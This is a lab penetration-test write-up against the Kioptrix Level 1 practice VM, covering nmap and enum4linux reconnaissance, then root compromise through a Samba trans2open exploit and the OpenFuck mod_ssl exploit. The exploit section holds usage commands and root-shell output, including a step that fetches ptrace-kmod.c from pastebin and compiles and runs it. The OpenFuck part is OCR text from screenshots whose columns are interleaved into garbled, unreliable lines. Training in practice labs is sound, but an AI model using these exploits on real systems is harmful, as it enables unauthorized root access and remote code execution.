### 1. Executive Summary

Conduct a penetration test in order to acquire 'root' access to Kioptrix level 1 machine. Efforts were placed on the identification and exploitation of security weaknesses that could allow a remote attacker to gain unauthorized access to the machine.

Summary of Results

Initial reconnaissance of Kioptrix level 1 network resulted in the discovery of running services and open ports which can be exploited. This examination revealed that the web server is running vulnerable services which allow the attacker to execute code remotely on the victim's machine.

### 2. Attack Narrative

For the purposes of this assessment, VMware was used to set up the lab and simulate the attack. This setup consists of Kali Linux, the attacker, and Kioptrix machine, the victim.

#### **Remote System Discovery**

The first step is to find the victim's IP address. Kali and Kioptrix VMs are on the same network, so the first step would be to find kali ip address.



Network scanning to find live hosts using netdiscover for kioptrix ip.

The victim's IP address is now known (this IP will be used for the next commands).

Now the ports can be scanned with nmap

```
PORT STATE SERVICE VERSION
22/tcp open ssh
                    OpenSSH 2.9p2 (protocol 1.99)
ssh-hostkey:
1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
sshv1: Server supports SSHv1
80/tcp open http
                    Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
| Potentially risky methods: TRACE
_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
100000 2
               111/tcp rpcbind
100000 2
                111/udp rpcbind
             1024/tcp status
100024 1
_ 100024 1
                1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: 4MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b
| http-methods:
| Supported Methods: GET HEAD POST
_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-title: 400 Bad Request
Host script results:
_clock-skew: 1h01m49s
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| Names:
                   Flags: <unique><active>
KIOPTRIX<00>
  KIOPTRIX<03>
                   Flags: <unique><active>
  KIOPTRIX<20>
                   Flags: <unique><active>
  \x01\x02_MSBROWSE_\x02<01> Flags: <group><active>
  MYGROUP<00>
                     Flags: <group><active>
  MYGROUP<1d>
                     Flags: <unique><active>
_ MYGROUP<1e>
                      Flags: <group><active>
_smb2-time: Protocol negotiation failed (SMB2)
```

## Exploitation

With the open ports identified together with their services in use, several exploits were found.

### 1. SMB -Samba < 2.2.8(Linux/BSD)

Port 139 used for SMB is open. Samba is known for having a buffer overflow vulnerability on versions 2.0.x through 2.2.7a which allow an attacker to execute arbitrary code with privileges of the Super User(root). (source: VU#298233 - Samba contains buffer overflow in SMB/CIFS packet fragment reassembly code (cert.org))

For gathering more information related to the Samba version used by the victim machine, enum4linux and nmap commands were used

```
kali@kali: ~
File Actions Edit View Help
  -(kali⊕kali)-[~1
s enum4linux
Starting enum4linux vv.o.y ( http://labs.portcullis.co.uk/application/enum4li
nux/ ) on Sun Dec 12 14:20:33 2021
     Target Information
Target ......
RID Range ...... 500-550,1000-1050
Username ......
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, no
ne
     Enumerating Workgroup/Domain on
[+] Got domain/workgroup name: MYGROUP
     Nbtstat Information for
Looking up status of
         KTOPTRIX
                                          B <ACTIVE> Workstation Service
B <ACTIVE> Messenger Service
                          <6000>
         KIOPTRIX
                                          B <ACTIVE>
                                                       File Server Service
         KIOPTRIX
                               - <GROUP> B <ACTIVE>
                                                       Master Browser
          .._MSBROWSE__.
                          <01>
         MYGROUP
                          <00> - <GROUP> B <ACTIVE>
                                                       Domain/Workgroup Name
         MYGROUP
                          <1d>
                                          B <ACTIVE>
                                                       Master Browser
                          <1e> - <GROUP> B <ACTIVE> Browser Service Elections
        MYGROUP
        MAC Address = 00-00-00-00-00-00
     Session Check on
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
   -(kali⊕kali)-[~]
     (kali⊗kali)-[~]
  └$ nmap -p 139 -
 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-12 14:25 EST
 Nmap scan report for
 Host is up (0.00081s tatency).
         STATE SERVICE
 139/tcp open netbios-ssn
 Host script results:
   smb-vuln-cve2009-3103:
     VULNERABLE:
      SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
        State: VULNERABLE
        IDs: CVE:CVE-2009-3103
              Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
              Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
              PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
              aka "SMBv2 Negotiation Vulnerability."
       Disclosure date: 2009-09-08
        References:
          http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
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   _smb-vuln-ms10-054: false
   _smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fi
 elds are missing); aborting [14]
 Nmap done: 1 IP address (1 host up) scanned in 16.36 seconds
     (kali⊕kali)-[~]
```

Samba version still not displayed, but we know that

https://www.exploit-db.com/exploits/10 exploit runs for all version of Samba less than 2.2.8.

Running it, we could get the root access:

```
(kali@ kali)
```

```
—(kali⊛kali)-[--
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samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from
                                            56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=0 ttl=59 time=9.746 msec
64 bytes from 8.8.8.8: icmp_seq=1 ttl=59 time=9.516 msec
```

#### 2. Apache mod\_ssl < 2.8.7 OpenSSL

Apache mod\_ssl/2.8.4 module is used to provide cryptography for Apache Web servers by encrypting the traffic using SSL/TLS. This package is vulnerable to buffer overflow attacks.

There are several versions of exploits in the offline database, but chose to use a more updated version from github: <a href="mailto:exploits/openfuck.cat">exploits/openfuck.cat</a> master · <a href="mailto:piyush-saurabh/exploits">piyush-saurabh/exploits · GitHub</a>.

```
File Actions Edit View Help
                               File Actions Edit View Help
                               * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
  Download OpenFuck.c
                               ********************
                               * by SPABAM
                                             with code of Spabam - LSD-pl - SolarEclipse - CORE *
git clone https://github.com/ * #hackarena irc.brasnet.org
                               \star TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname \star
 . Install ssl-dev library
                               * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
                               * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
                               **************************
apt-get install libssl-dev
                              Connection ... 40 of 40
Establishing SSL connection
. It's Compile Time
                               cipher: 0×4043808c ciphers: 0×80f8088
                               Ready to send shellcode
                               Spawning shell ...
gcc -o OpenFuck OpenFuck.c -l bash: no job control in this shell
                               bash-2.05$
                               race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt
 . Running the Exploit
                               --14:37:18-- https://pastebin.com/raw/C7v25Xr9
                                         ⇒ `ptrace-kmod.c'
                               Connecting to pastebin.com:443... connected!
./OpenFuck
                              HTTP request sent, awaiting response... 200 OK
                               Length: unspecified [text/plain]
 . See which service you witc
                                                                                           a 3.84 MB/s
inux, using apache version 1.
                                  0K ...
./OpenFuck 0×6a [Target Ip] [
                               14:37:19 (3.84 MB/s) - `ptrace-kmod.c' saved [4026]
for example:
                              ptrace-kmod.c:183:1: warning: no newline at end of file
                              /usr/hin/ld. cannot open output file n. Permission denied
./OpenFuck 0×6a 192.168.80.14
                              collect2: ld returned 1 exit status
                              whoami
                               root
**References:**
https://kongwenbin.wordpress.
hthttps://github.com/piyush-s
                              uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
                               Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
```

# 3. Conclusion

Kioptrix machine root access was acquired, the goal was met.